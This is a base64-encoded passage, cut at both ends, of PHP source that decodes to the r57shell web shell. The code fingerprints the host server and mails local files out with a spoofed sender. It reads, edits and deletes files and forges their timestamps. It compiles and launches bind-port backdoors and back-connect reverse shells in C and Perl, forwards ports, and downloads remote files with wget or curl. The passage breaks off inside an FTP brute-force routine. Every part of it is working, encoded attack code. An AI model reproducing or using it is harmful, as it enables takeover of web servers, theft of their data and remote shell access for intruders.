lU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj48YnI+Ii53cygyKTsNCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsNCmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT4kZGY8L2ZvbnQ+PC9iPiI7fQ0KJGZyZWUgPSBAZGlza2ZyZWVzcGFjZSgkZGlyKTsNCmlmICghJGZyZWUpIHskZnJlZSA9IDA7fQ0KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOw0KaWYgKCEkYWxsKSB7JGFsbCA9IDA7fQ0KZWNobyAiPGJyPiIud3MoMikuIkZyZWUgc3BhY2UgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxiPiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsNCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPg0KPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+DQo8dHI+PHRkIGNsYXNzPW1haW4gYWxpZ249cmlnaHQgd2lkdGg9MTAwPic7DQplY2hvICRmb250Ow0KaWYoJHVuaXgpew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+dW5hbWUgLWEgOicud3MoMSkuJzxicj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICc8L3RkPjx0ZCAgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIpKTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQplbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpDQogew0KICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1lJ10uJyApPGJyPic7DQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hvICI8L2I+PC9mb250PiI7DQp9DQplbHNlDQp7DQplY2hvICc8Zm9udCBjb2xvcj1XaGl0ZT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICc8L3RkPjx0ZCBjbGFzcz1tYWluPic7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQGdldGVudigiVVNFUk5BTUUiKS4iPGJyPiI7DQoNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gIjxicj48L2ZvbnQ+IjsNCn0NCmVjaG8gIjwvZm9udD4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmlmKGVtcHR5KCRjMSl8fGVtcHR5KCRjMikpIHsgZGllKCk7IH0NCiRmID0gJzxicj4nOw0KJGYgLj0gYmFzZTY0X2RlY29kZSgkYzEpOw0KJGYgLj0gYmFzZTY0X2RlY29kZSgkYzIpOw0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikNCiB7DQogJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7DQogZXJyKDYrJHJlcyk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydsb2NfZmlsZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVsc2UNCiAgew0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2xvY19maWxlJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydsb2NfZmlsZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICAkYXR0YWNoID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLA0KICAgICAgICAgICAgICAgICAgICAidHlwZSI9PiRtaW1lX3R5cGUsDQogICAgICAgICAgICAgICAgICAgICJjb250ZW50Ij0+JGZpbGVkdW1wDQogICAgICAgICAgICAgICAgICAgKTsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ3N1YmonXSkpIHsgJF9QT1NUWydzdWJqJ10gPSAnZmlsZSBmcm9tIHI1N3NoZWxsJzsgfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSkgeyAkX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBtaWNyb3NvZnQuY29tJzsgfQ0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsNCiAgICBlcnIoNiskcmVzKTsNCiAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6DQogICBAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KICAgYnJlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3dpdGNoKCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgZWxzZSB7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIikNCiAgICAgICB7DQogICAgICAgaWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgfQ0KICAgICBicmVhazsNCiAgICAgY2FzZSAnZGlyJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpew0KICAgICAgaWYobWtkaXIoJF9QT1NUWydta19uYW1lJ10pKQ0KICAgICAgIHsNCiAgICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1XaGl0ZT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCiAgICAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjQnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgIH0NCiAgICAgYnJlYWs7DQogICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJlZGl0X2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkNCiB7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyKyIpKSB7ICRvbmx5X3JlYWQgPSAxOyBAZmNsb3NlKCRmaWxlKTsgfQ0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZV9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogZWxzZSB7DQogZWNobyAkdGFibGVfdXAzOw0KIGVjaG8gJGZvbnQ7DQogZWNobyAiPGZvcm0gbmFtZT1zYXZlX2ZpbGUgbWV0aG9kPXBvc3Q+IjsNCiBlY2hvIHdzKDMpLiI8Yj4iLiRfUE9TVFsnZV9uYW1lJ10uIjwvYj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7DQogZWNobyBAaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZV9uYW1lJ10pKSk7DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RleHRhcmVhPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZV9uYW1lIHZhbHVlPSIuJF9QT1NUWydlX25hbWUnXS4iPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSIuJGRpci4iPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y21kIHZhbHVlPXNhdmVfZmlsZT4iOw0KIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8oIjxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIgXCI+IikpOw0KIGVjaG8gIjwvZGl2PiI7DQogZWNobyAiPC9mb250PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiBleGl0KCk7DQogfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2F2ZV9maWxlIikNCiB7DQogJG10aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ2VfbmFtZSddKTsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInciKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQ0KIGVsc2Ugew0KIGlmKCR1bml4KSAkX1BPU1RbJ2VfdGV4dCddPUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAZndyaXRlKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pOw0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFtZSddLCRtdGltZSwkbXRpbWUpOw0KICRfUE9TVFsnY21kJ109IiI7DQogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDUnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KIH0NCiB9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICRibGFoID0gZXgoIi90bXAvYmQgIi4kX1BPU1RbJ3BvcnQnXS4iICIuJF9QT1NUWydiaW5kX3Bhc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9iZHBsIiwkcG9ydF9iaW5kX2JkX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmRwbCAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkcGwiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCddLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvYmFjay5jIiwkYmFja19jb25uZWN0X2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jIik7DQogQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9kcGMuYyIsJGRhdGFwaXBlX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQogQHVubGluaygiL3RtcC9kcGMuYyIpOw0KICRibGFoID0gZXgoIi90bXAvZHBjICIuJF9QT1NUWydsb2NhbF9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0NCmlmICghZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKSkNCnsNCmlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7ICRuZm4gPSAkX1BPU1RbJ25ld19uYW1lJ107IH0NCmVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddOyB9DQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLA0KICAgICAgICAgICAgJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgICAgIG9yIHByaW50KCI8Zm9udCBjb2xvcj1XaGl0ZSBmYWNlPUZpeGVkc3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxlICIuJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddLiI8L2Rpdj48L2ZvbnQ+Iik7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCnsNCiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pDQogew0KIGNhc2Ugd2dldDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dnZXQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgLU8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBmZXRjaDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2ZldGNoJykuIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIC1wICIuJF9QT1NUWydyZW1fZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbHlueDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbGlua3M6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBHRVQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdHRVQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGN1cmw6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdjdXJsJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIH0NCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7IH0NCiBlbHNlDQogIHsNCiAgaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkgeyBlcnIoNCk7IH0NCiAgZWxzZQ0KICAgew0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSB7IGlmKGNob3AoJF9QT1NUWydsb2NfZmlsZSddKT09JGRpcikgeyAkX1BPU1RbJ2xvY19maWxlJ109JGRpci4oKCEkdW5peCk/KCdcXCcpOignLycpKS5iYXNlbmFtZSgkX1BPU1RbJ2Z0cF9maWxlJ10pOyB9IEBmdHBfZ2V0KCRjb25uZWN0aW9uLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKSAgIHsgQGZ0cF9wdXQoJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7CX0NCiAgIH0NCiAgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpDQogew0KIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsNCiBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9DQogJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgJF9QT1NUWydjbWQnXSA9ICIiOy